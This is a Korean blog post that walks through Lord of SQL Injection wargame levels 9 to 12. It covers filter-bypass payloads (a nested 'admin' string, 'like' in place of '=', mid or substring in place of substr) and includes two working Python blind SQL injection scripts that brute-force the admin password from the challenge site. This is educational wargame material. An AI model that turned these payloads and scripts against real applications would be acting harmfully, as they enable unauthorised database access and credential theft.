HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • log4j
  • 아파치
  • 취약점
  • JNDI

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

LOS 9~12
WarGame/The Lord of Sql Injection(LOS)

LOS 9~12

2021. 10. 9. 16:13
728x90

los 9

 

 

id 파라미터를 통해서 값을 받는다.

strtolower을 통해서 대문자가 있으면 소문자로 변환을 시켜주고

str_replace를 통해서 admin이라는 문자가 있으면 없애준다.

 

xss에서도 이런 방식으로 특정 문구를 못쓰게하는 로직이 있는데,

adadminmin 이런 식으로 값을 넣어주면

내부에 있는 admin은 사라지겠지만 그로 인해서 새로운 admin이 생기므로

bypass 될거다.

 

los 10

 

이전 문제들과 유형이 동일함

?pw=1' or id='admin' %23

 

los 11

이전보다 필터링이 늘어난 것을 확인 할 수 있음.

=,substr을 못쓰게 됐는데,

=은 lik로

substr은 substring,mid 함수로 대체를 할 수가 있다.

 

#!/usr/bin/python

import string
from requests import get


cookies = dict(PHPSESSID = "ue6m26kvj3sbr1oodi91n86rbb")
idlength = 8

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"

letter = string.digits + string.ascii_letters
result = ''

for i in range(1,idlength+1):
    for a in letter:
        param = "pw=1' || id like 'admin' %26%26 ASCII(substring(pw,"+str(i)+",1)) like "+str(ord(a))+"%23"
        
        new_url = url+param
        print(new_url)
        req = get(new_url,cookies=cookies)
        if req.text.find("<h2>Hello admin</h2>") > 0:
            print(str(i)+"st char is '"+a+"'").encode('utf-8')
            result += a
            print result
            break

 

los 12

pw에 싱글쿼터 기능을 막아서 pw에서는 sql injection을 못하게 하려고 하는 것 같다.

 

그래서 no를 통해서 인젝션을 진행을 해봤다.

확인을 해보면,

substr,ascii가 막혀있다

substr은 substring으로

ascii은 ord로 필터링 해서 익스 코드를 짜주려고했다.

 

근데 substring이 필터링 되는 현상을 목격함.

11번에서는 substring을 잘 사용을 했는데...

이게 좀 의문이다.

그래서 substring을 mid 함수로 대체를 해서 코드를 짜줬다.

 

#!/usr/bin/python
  
import string
from requests import get


cookies = dict(PHPSESSID = "ue6m26kvj3sbr1oodi91n86rbb")
idlength = 8

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"

letter = string.digits + string.ascii_letters
result = ''

for i in range(1,idlength+1):
    for a in letter:
        param = "pw=1&no=1 || id like \"admin\" %26%26 ord(mid(pw,"+str(i)+",1)) like "+str(ord(a))+"%23"

        new_url = url+param
        print(new_url)
        req = get(new_url,cookies=cookies)
        if req.text.find("<h2>Hello admin</h2>") > 0:
            print(str(i)+"st char is '"+a+"'").encode('utf-8')
            result += a
            print result
            break

    HO_9
    HO_9

    티스토리툴바